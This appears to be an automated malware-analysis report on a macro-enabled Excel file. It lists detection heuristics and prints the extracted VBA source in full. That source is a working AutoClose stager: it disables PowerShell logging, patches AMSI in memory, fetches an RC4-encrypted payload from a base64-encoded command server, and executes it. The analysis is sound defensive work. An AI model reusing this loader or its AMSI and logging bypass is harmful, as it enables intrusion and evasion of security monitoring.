MALICIOUS
228
Risk Score
Heuristics 6
-
VBA project inside OOXML medium 5 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Set asd = CreateObject("WScript.Shell") -
PowerShell reference in VBA critical OLE_VBA_PSPowerShell reference in VBAMatched line in script
PtppCVE = PtppCVE + "s\PowerShell\ScriptB'+'lockLogging']=$VaL}ELSe{[Sc" -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set asd = CreateObject("WScript.Shell") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub AutoClose()
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 5835 bytes |
SHA-256: 2152edbec1c0d6e0d738ca96017065e2758d73e7f8d9318a301ca420a17e4252 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub AutoClose()
cfUMCqFy
End Sub
Public Function cfUMCqFy() As Variant
Dim PtppCVE As String
PtppCVE = "$ErrorActionPreference = "SilentlyContinue";$53F1="
PtppCVE = PtppCVE + "[REf].AsSEMBlY.GetTYPe('System.Management.Automati"
PtppCVE = PtppCVE + "on.Utils')."GeTFIE`Ld"('cachedGroupPolicySettings'"
PtppCVE = PtppCVE + ",'N'+'onPublic,Static');IF($53F1){$A653=$53F1.GeTV"
PtppCVE = PtppCVE + "aLuE($nulL);If($A653['ScriptB'+'lockLogging']){$a6"
PtppCVE = PtppCVE + "53['ScriptB'+'lockLogging']['EnableScriptB'+'lockL"
PtppCVE = PtppCVE + "ogging']=0;$a653['ScriptB'+'lockLogging']['EnableS"
PtppCVE = PtppCVE + "criptBlockInvocationLogging']=0}$VaL=[COllectIons."
PtppCVE = PtppCVE + "GEnErIC.DICTIonARy[StriNG,SYsTEM.Object]]::NEw();$"
PtppCVE = PtppCVE + "Val.ADD('EnableScriptB'+'lockLogging',0);$VAl.AdD("
PtppCVE = PtppCVE + "'EnableScriptBlockInvocationLogging',0);$a653['HKE"
PtppCVE = PtppCVE + "Y_LOCAL_MACHINE\Software\Policies\Microsoft\Window"
PtppCVE = PtppCVE + "s\PowerShell\ScriptB'+'lockLogging']=$VaL}ELSe{[Sc"
PtppCVE = PtppCVE + "rIPTBlocK]."GEtFIE`LD"('signatures','N'+'onPublic,"
PtppCVE = PtppCVE + "Static').SeTVAluE($null,(NEW-OBJeCT COLLeCtiONs.GE"
PtppCVE = PtppCVE + "nerIc.HasHSEt[STrINg]))}$REf=[REF].ASSembLy.GEtTyP"
PtppCVE = PtppCVE + "E('System.Management.Automation.Amsi'+'Utils');$RE"
PtppCVE = PtppCVE + "F.GEtFIeLD('amsiInitF'+'ailed','NonPublic,Static')"
PtppCVE = PtppCVE + ".SETVAluE($nuLL,$tRUe);$MethodDefinition = "[DllIm"
PtppCVE = PtppCVE + "port(`"kernel32`")]public static extern IntPtr Get"
PtppCVE = PtppCVE + "ProcAddress(IntPtr hModule, string procName);[DllI"
PtppCVE = PtppCVE + "mport(`"kernel32`")]public static extern IntPtr Ge"
PtppCVE = PtppCVE + "tModuleHandle(string lpModuleName);[DllImport(`"ke"
PtppCVE = PtppCVE + "rnel32`")]public static extern bool VirtualProtect"
PtppCVE = PtppCVE + "(IntPtr lpAddress, UIntPtr dwSize, uint flNewProte"
PtppCVE = PtppCVE + "ct, out uint lpflOldProtect);";$Kernel32 = Add-Typ"
PtppCVE = PtppCVE + "e -MemberDefinition $MethodDefinition -Name 'Kerne"
PtppCVE = PtppCVE + "l32' -NameSpace 'Win32' -PassThru;$ABSD = 'AmsiS'+"
PtppCVE = PtppCVE + "'canBuffer';$handle = [Win32.Kernel32]::GetModuleH"
PtppCVE = PtppCVE + "andle('amsi.dll');[IntPtr]$BufferAddress = [Win32."
PtppCVE = PtppCVE + "Kernel32]::GetProcAddress($handle, $ABSD);[UInt32]"
PtppCVE = PtppCVE + "$Size = 0x5;[UInt32]$ProtectFlag = 0x40;[UInt32]$O"
PtppCVE = PtppCVE + "ldProtectFlag = 0;[Win32.Kernel32]::VirtualProtect"
PtppCVE = PtppCVE + "($BufferAddress, $Size, $ProtectFlag, [Ref]$OldPro"
PtppCVE = PtppCVE + "tectFlag);$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x5"
PtppCVE = PtppCVE + "7, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint"
PtppCVE = PtppCVE + "32]0xC3);[system.runtime.interopservices.marshal]:"
PtppCVE = PtppCVE + ":copy($buf, 0, $BufferAddress, 6); $1Ff4=NEW-Objec"
PtppCVE = PtppCVE + "T SYsTEM.NEt.WebClienT;$u='Mozilla/5.0 (Windows NT"
PtppCVE = PtppCVE + " 6.3; WOW64; Trident/7.0; Touch; rv:11.0) like Gec"
PtppCVE = PtppCVE + "ko';$ser=$([TeXt.EnCodInG]::UNiCode.GetSTrInG([CoN"
PtppCVE = PtppCVE + "VerT]::FrOmBASE64StrING('aAB0AHQAcAA6AC8ALwAxADAAL"
PtppCVE = PtppCVE + "gAxADAALgAxADAALgAxADAAOgA4ADAAOAA4AA==')));$t='/n"
PtppCVE = PtppCVE + "ews.php';$1ff4.HeAdERs.ADd('User-Agent',$u);$1fF4."
PtppCVE = PtppCVE + "ProxY=[SYstEm.Net.WebREQuEsT]::DEfaULtWEbPRoxY;$1f"
PtppCVE = PtppCVE + "F4.ProXy.CrEDeNtIAlS = [SYSteM.Net.CreDENtiAlCAcHe"
PtppCVE = PtppCVE + "]::DefaUlTNeTWorkCrEDenTiaLs;$Script:Proxy = $1ff4"
PtppCVE = PtppCVE + ".Proxy;$K=[SYStEM.Text.ENCoding]::ASCII.GetByTEs('"
PtppCVE = PtppCVE + "iV5p>On+L(YlZ-.m38NR2e}I,DAFSxH)');$R={$D,$K=$ARGS"
PtppCVE = PtppCVE + ";$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.COUnT])"
PtppCVE = PtppCVE + "%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%2"
PtppCVE = PtppCVE + "56;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];"
PtppCVE = PtppCVE + "$_-bXOr$S[($S[$I]+$S[$H])%256]}};$1ff4.HEAdErS.ADd"
PtppCVE = PtppCVE + "("Cookie","FyBHzQlnE=n/aR2hS72olazmbq8BSE8BfmpZw=""
PtppCVE = PtppCVE + ");$DATa=$1fF4.DowNLOaDDATA($ser+$T);$IV=$DatA[0..3"
PtppCVE = PtppCVE + "];$daTA=$DAtA[4..$dATA.lENGth];-JoiN[CHAr[]](& $R "
PtppCVE = PtppCVE + "$data ($IV+$K))|IEX"
Set asd = CreateObject("WScript.Shell")
asd.Run (PtppCVE)
End Function
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: xl/vbaProject.bin | 22528 bytes |
SHA-256: 48f2e3e5e71975667c7a4d7a9f0b89360f6a8bbb3046ae6ba068d14a63095870 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.